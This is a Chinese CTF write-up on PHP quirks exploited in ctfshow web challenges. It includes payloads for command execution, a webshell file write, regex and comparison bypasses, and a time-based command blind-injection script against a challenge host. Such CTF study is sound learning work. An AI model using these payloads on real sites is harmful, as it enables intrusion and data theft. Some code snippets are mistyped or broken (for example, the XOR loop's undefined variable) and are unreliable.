本文章基于ctfshow web入门的php特性编写,并结合做题经验进行补充

弱类型与强类型比较

PHP: PHP 类型比较表 - Manual

* 代表在 PHP 8.0.0 之前为 true

弱等于 true false 1 0 -1 "1" "0" "-1" null [] "php" ""
true true false true false true true false true false false true false
false false true false true false false true false true true false true
1 true false true false false true false false false false false false
0 false true false true false false true false true false false* false*
-1 true false false false true false false true false false false false
"1" true false true false false true false false false false false false
"0" false true false true false false true false false false false false
"-1" true false false false true false false true false false false false
null false true false true false false false false true true false true
[] false true false false false false false false true true false false
"php" true false false false* false false false false false false true false
"" false true false false* false false false false true false false true
强等于 true false 1 0 -1 "1" "0" "-1" null [] "php" ""
true true false false false false false false false false false false false
false false true false false false false false false false false false false
1 false false true false false false false false false false false false
0 false false false true false false false false false false false false
-1 false false false false true false false false false false false false
"1" false false false false false true false false false false false false
"0" false false false false false false true false false false false false
"-1" false false false false false false false true false false false false
null false false false false false false false false true false false false
[] false false false false false false false false false true false false
"php" false false false false false false false false false false true false
"" false false false false false false false false false false false true

== 先将类型统一再进行比较数值

=== 先比较类型,再比较数值

  1. 当遇到弱类型比较时,可以MD5碰撞
1
2
3
4
5
6
7
QNKCDZO             0e830400451993494058024219903391

240610708 0e462097431906509019562988736854

s878926199a 0e545993274517709034328855841020

0e215962017 0e291242476940776845150308577824

当内容为0exxx时会自动转换为科学计数法也是都是等于0了

这样就实现了MD5($a)==MD5($b)

  1. 当遇到强类型比较时,可以使用数组

例如get一个a=cxk[],b=ikun[];

数组自动转化为NULL,NULL===NULL,>true

这样同样实现MD5($a)===MD5($b)

  1. md5强碰撞

工具:fastcoll 可以碰撞出两个内容不同但md5相同的文件

变量名规则

在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线

但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了

例:CTF[``SHOW.COM=>CTF_SHOW.COM

ctf show=>ctf_show

三元运算符

例题:web98

1
2
3
4
5
<?php
include("flag.php");
$_GET ? $_GET= &$_POST : 'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

首先判断是否GET传入了数据,如果传入了则将POST的地址赋值给了GET

payload:url/?1 POST: HTTP_FLAG=flag

数组

例题:web99

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>

array_push——往数组尾部插入元素
rand(1,$i)——随机生成1-877之间的数
//所以array_push($allow, rand(1,$i))就是往数组中插入1-877之间的数字
in_array——搜索数组中是否存在指定的值:
in_array(search,array,type)
search为指定搜索的值
array为指定检索的数组
type为TRUE则 函数还会检查 search的类型是否和 array中的相同

综上,我们可以发现数组中的值是int,而在弱类型中当php字符串和int比较时,字符串会被转换成int,所以 字符串中数字后面的字符串会被忽略。题目中的in_array没有设置type,我们可以输入字符串5.php(此处数字随意,只要在rand(1,0x36d)之间即可),转换之后也就是5,明显是在题目中生成的数组中的,满足条件,同时进入下一步后,我们就可将一句话木马写入了5.php中,然后蚁剑连接即可查看到flag

反射类

反射类是一个类的映射

1
2
3
4
5
6
7
namespace News;
class News{
public Snewsid;
public function index(){
.......
}
}

正常我们实例化一个类是这样:$News=new News0;
如果我们要实例化News类的反射类是这样:$News=new \ReflectionClass(‘News’);
那么通过反射类实例化的类和普通类有什么不同呢?
通过反射类实例化的类我们可以获取这个这个类的详细信息,可以对类进行分析

例题:web101

1
2
//flag in class ctfshow;
$ctfshow = new ctfshow();

echo new ReflectionClass即可把类的内容打印出来

反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令

例题:web109

1
eval("echo new $v1($v2());");

?v1=ReflectionClass&v2=system("tac ./f*")

变量or文件 覆盖

  1. 变量覆盖

一般是通过$$触发,当代码中出现双美元符号的变量引用时就要注意

例题:web105

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
include('flag.php');
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;#关键点
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;#关键点
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

变量覆盖经常伴随着foreach()的出现,它会把你传的参数和其值分别赋予$key和$value

也就是说我这里如果?suces=flag则会转变为$key=suces,$value=flag

在第一个foreach处就会使得$suces=$flag,此时把flag内容传到了$suces里

POST同理,把flag内容传到了$error中

最后die(error),也就把flag给die出来了

  1. 文件覆盖

通常由于file_put_contents()函数触发

当file_put_contents()可以利用时,可以直接向index.php内写入木马

$_SERVER[‘argv’]

对于php$_SERVER这个全局变量 ,里面有很多的参数

http://localhost/aaa/index.php?p=222&q=333
结果:
$SERVER[‘QUERY_STRING’] = “p=222&q=333”;
$SERVER[‘REQUEST_URI’] = “/aaa/index.php?p=222&q=333”;
$SERVER[‘SCRIPT_NAME’] = “/aaa/index.php”;
$_SERVER[‘PHP_SELF’] = “/aaa/index.php”;

由实例可知:
$SERVER[“QUERY_STRING”] 获取get查询语句
$SERVER[“REQUEST_URI”] 返回uri的值
$SERVER[“SCRIPT_NAME”] 返回文件路径
$_SERVER[“PHP_SELF”] 当前正在执行的文件路径

preg正则绕过

  1. 换行符绕过(%0a)

preg_match('/^flag$/m',$c)

/m 多行匹配

当使用%0a时,字符串会被当做两行处理,但是preg_match只能匹配一行,成功绕过

  1. 反斜杠绕过(%5c)

preg_match('/^[a-z0-9_]*$/isD',$c)

/s匹配任何不可见字符,包括空格、制表符、换页符等等

/D如果使用$限制结尾字符,则不允许结尾有换行

这种情况可以尝试使用%5c绕过

  1. 正则回溯绕过
  • 大量的回溯会长时间地占用CPU,从而带来系统性的开销。PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。最大回溯次数默认为100万次,超过一百万次preg_match函数将返回false表示此次执行失败从而绕过if
1
2
3
4
5
6
7
import requests

data={"cmd":"a"*1000000+"2023SHCTF"}
url="xxx"
res = requests.post(data=data,url=url)

print(res.text)
  1. 双写绕过

preg_replace('/flag/i','',$name)

遇到替换为空的情况,可以采用双写,例如’fflaglag’,当中间的flag被替换为空时,结果即为剩下的组合’flag’

  1. /e绕过(在 PHP 5.5 中就被废弃,并在 PHP 7.0 中彻底移除)

preg_replace ( pattern, replacement, subject)

  • pattern:用于匹配的正则表达式。

  • replacement:用于替换匹配项的内容。

  • subject:要进行替换的字符串。

1
echo preg_replace("/test/e",$_GET["h"],"jutst test");

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)

1
echo preg_replace($_GET["a"], $_GET["b"], $_GET["c"]);

payload:?a=/233/e&b=phpinfo()&c=233

  1. 异或取反绕过

preg_match("/[A-Za-z0-9]+/",$code)

异或取反常用于绕过无数字字母的限制

工具:bashfuck

1
2
3
4
5
6
7
#异或
tr = r"~!@#$%^&*()_+<>?,.;:-[]{}/"

for i in range(0, len(str)):
for j in range(0, len(str)):
a = ord(str[i])^ord(str[j])
print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a))
1
2
3
4
5
6
7
取反
<?php
$a=urlencode(~'system');
echo '(~'.$a.')';
$b=urlencode(~'ls');
echo '(~'.$b.')';
?>

伪随机数

1
2
mt_srand() //播种 Mersenne Twister 随机数生成器。
mt_rand() //生成随机数

这两个函数之间相互联系,当mt_srand()播种之后,mt_rand()会根据其种子生成随机数

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
mt_srand(1);
echo mt_rand()."#";
echo mt_rand();


mt_srand(1);
echo mt_rand()."#";
echo mt_rand();
?>
#895547922#2141438069
#895547922#2141438069

当种子不变时,生成的随机数是一样的,由此可以利用

CTF常见考法是通过获得到的部分随机数使用phpmtseed爆破出种子然后再生成完整的随机数

运算符优先级

  1. PHP中的逻辑“与”运算有两种形式:and 和 &&,同样“或”运算也有 or 和 || 两种形式。
  2. 如果是单独两个表达式参加的运算,两种形式的结果完全相同
  3. 但两种形式的逻辑运算符优先级不同,这四个符号的优先级从高到低分别是: &&、||、AND、OR。

例题:web132

1
2
3
4
5
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}

先算前面的&&然后得出的结果与后面进行或运算,那么只要满足$username ==="admin"即可绕过第一个if

然后再给code赋值admin即可得到flag

payload:?username=admin&code=admin&password=1

call_user_func()回调函数漏洞

此函数可以再次调用其他函数

例题:

1
2
3
4
5
6
7
8
9
class ctfshow{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST[1]);

ctfshow=ctfshow::getFlag(标准格式)

ctfshow[0]=ctfshow&ctfshow[1]=getFlag(数组格式)

命令盲注

有些时候题目过滤的东西太多,或者是使用了exec()这种没有回显的命令执行函数时就可以考虑命令盲注

1
if [ `ls / -1 | awk 'NR==1' | cut -c 1`== b ];then sleep 3;fi

ls / -1 一行一个文件名列出根目录

awk ‘NR==1’ 匹配第一个文件名

cut -c 1 切割出第一个字符

正常情况第一个是bin 这里最后的结果是b 满足if条件后会sleep3秒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = 'http://6b04f79f-901b-4214-861c-c4aa2ae5f6a9.challenge.ctf.show/?c='
payload = '''if [ `ls / -1 | awk "NR=={}" | cut -c {}` == "{}" ];then sleep 3;fi'''

max_NR = 5 # 假设最多4行
max_c = 13 # 假设一行最多12个字符(f149_15_h3r3)
chars = 'abcdefghijklmnopqrstuvwxyz0123456789_-.' # 可能出现的字符

for NR in range(1, max_NR): # 从第一行开始
for c in range(1, max_c): # 从第一个字符开始
for char in chars:
try:
requests.get(url+payload.format(NR, c, char), timeout = 3) # 自动URL编码
except:
print(char, end = '') # 出现延迟输出字符
break
print()

找到flag后就可以把ls /换成cat /flag

eval(“return $1$2$3”)

return有个特性: 任意数字和符号组合依旧可以实现命令执行

1=1&2=-ls /-&3=1

三个变量之间用运算符号相连,建议使用-``*``/ 加号可能会被解码

intval()特性

  1. intval(获取变量的整数型):如果他的值为一个数组,只要数组里面有值,那么不论值的数量,返回值都为1,空数组则返回0**

  2. echo intval(42);                      // 42
    echo intval(4.2);                     // 4
    echo intval('42');                    // 42
    echo intval('+42');                   // 42
    echo intval('-42');                   // -42
    echo intval(042);                     // 34
    echo intval('042');                   // 42
    echo intval(1e10);                    // 10000000000
    echo intval('1e10');                  // 10000000000
    echo intval(0x1A);                    // 26
    echo intval(42000000);                // 42000000
    echo intval(420000000000000000000);   // 0
    echo intval('420000000000000000000'); // 2147483647
    echo intval(42, 8);                   // 42
    echo intval('42', 8);                 // 34
    echo intval(array());                 // 0
    echo intval(array('foo', 'bar'));     // 1
    
  3. intval($num,0):

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);

如果字符串以 “0” 开始,使用 8 进制(octal);否则,将使用 10 进制 (decimal)。

payload:?num=010574 这里以0开始,意思就是后面的数字将被以8进制的形式读取

strpos()/stripos()

i:加了不区分大小写

strpos() 以数组形式查找0在字符串中出现的位置,找得到就给出位置(真),找不到返回0(假)

若要查找的字符在第一位则返回0

若传入数组则会使strpos()返回null(注意null不等于false)